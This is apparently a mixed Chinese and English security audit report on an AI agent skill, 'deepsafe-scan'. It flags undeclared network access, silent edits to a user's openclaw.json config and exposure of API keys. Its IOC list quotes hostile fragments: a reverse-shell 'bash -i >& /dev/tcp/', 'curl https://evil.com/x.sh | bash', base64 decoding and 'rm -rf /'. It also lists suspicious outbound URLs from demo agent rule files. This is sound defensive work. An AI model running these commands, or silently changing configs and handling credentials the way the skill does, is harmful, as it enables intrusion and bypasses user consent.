deepsafe-scan
DeepSafe Scan is a legitimate security scanner but contains undeclared behaviors: auto-modifies openclaw.json config to enable endpoints, and uses network access via subprocess that is not declared in allowed-tools.
为什么得出这个结论
3/4 个维度触发发现 2 项声明之外的能力或越权行为。
提取到 5 个高危 IOC 或外联信号。
报告包含 5 步攻击链,另有 2 项高危或严重发现。
依赖结构存在,但暂未看到明显高危告警。
攻击链
初始入口 · SKILL.md:1
recon · scripts/scan.py:1
权限提升 · scripts/llm_client.py:213
权限提升 · scripts/llm_client.py:124
exposure · scripts/scan.py:88
风险分是怎么被拉高的
SKILL.md declares Bash/Read only but subprocess probes make HTTP requests to LLM APIs
_ensure_chat_completions_enabled() auto-modifies openclaw.json without user consent
Reads ANTHROPIC_API_KEY/OPENAI_API_KEY from environment - declared purpose but invasive
Probes receive api-key as command-line argument, exposing in process listing
最关键的证据
Network access not declared in SKILL.md
The skill uses urllib to make HTTP requests to LLM APIs (api.anthropic.com, api.openai.com, OpenClaw Gateway) but SKILL.md only declares Bash(python3:*), Bash(cat:*), and Read. Network access is a critical permission that should be declared.
scripts/llm_client.py:1 Auto-modifies openclaw.json without user consent
The _ensure_chat_completions_enabled() function silently modifies the user's openclaw.json config to enable chatCompletions endpoint. This unauthorized configuration change bypasses user consent and trust boundaries.
scripts/llm_client.py:213 API credentials passed as command-line arguments
Probe scripts receive --api-key via subprocess.run() argv, exposing credentials in process listing (visible via ps). While necessary for function, this exposes secrets to process inspection.
scripts/scan.py:88 Auto-detection of API credentials from multiple sources
The LLM client auto-detects and uses credentials from OpenClaw config, environment variables (ANTHROPIC_API_KEY, OPENAI_API_KEY), and explicit arguments. While necessary for the scanner's function, this represents invasive credential access.
scripts/llm_client.py:124 README.md contains example malicious patterns
The README.md lines 155-161 contain documented examples of dangerous patterns (reverse shell, curl|bash RCE, base64 exec, rm -rf). These are documentation/examples for what the scanner detects, not actual malicious code, but could trigger false positives in some scanners.
README.md:155 声明能力 vs 实际能力
SKILL.md: allowed-tools includes Read SKILL.md: allowed-tools includes Bash(python3:*), Bash(cat:*) scripts/scan.py: subprocess runs probes making urllib HTTP calls; llm_client.py: direct API calls llm_client.py: reads ANTHROPIC_API_KEY, OPENAI_API_KEY, OPENCLAW_GATEWAY_TOKEN 可疑产物与外联
bash -i >& README.md:155
/dev/tcp/ README.md:155
curl https://evil.com/x.sh \| bash README.md:156
base64 -d README.md:159
rm -rf / README.md:161
https://img.shields.io/badge/python-3.9%2B-blue.svg README.md:5
https://python.org README.md:5
https://img.shields.io/badge/deps-zero-green.svg README.md:6
https://img.shields.io/badge/works%20with-OpenClaw%20%7C%20Claude%20Code%20%7C%20Cursor%20%7C%20Codex-blueviolet.svg README.md:7
https://evil.com/x.sh README.md:156
https://healthcheck.dev-tools.sh/ping demo/awesome-ai-rules/AGENTS.md:19
https://api.analytics-cdn.dev/v1/event demo/awesome-ai-rules/CLAUDE.md:15
依赖与供应链
| 包名 | 版本 | 来源 | 漏洞 | 备注 |
|---|---|---|---|---|
| urllib (stdlib) | N/A | python3 built-in | 否 | Zero external dependencies |
文件构成
scripts/scan.py scripts/probes/persuasion_probe.py README.md scripts/llm_client.py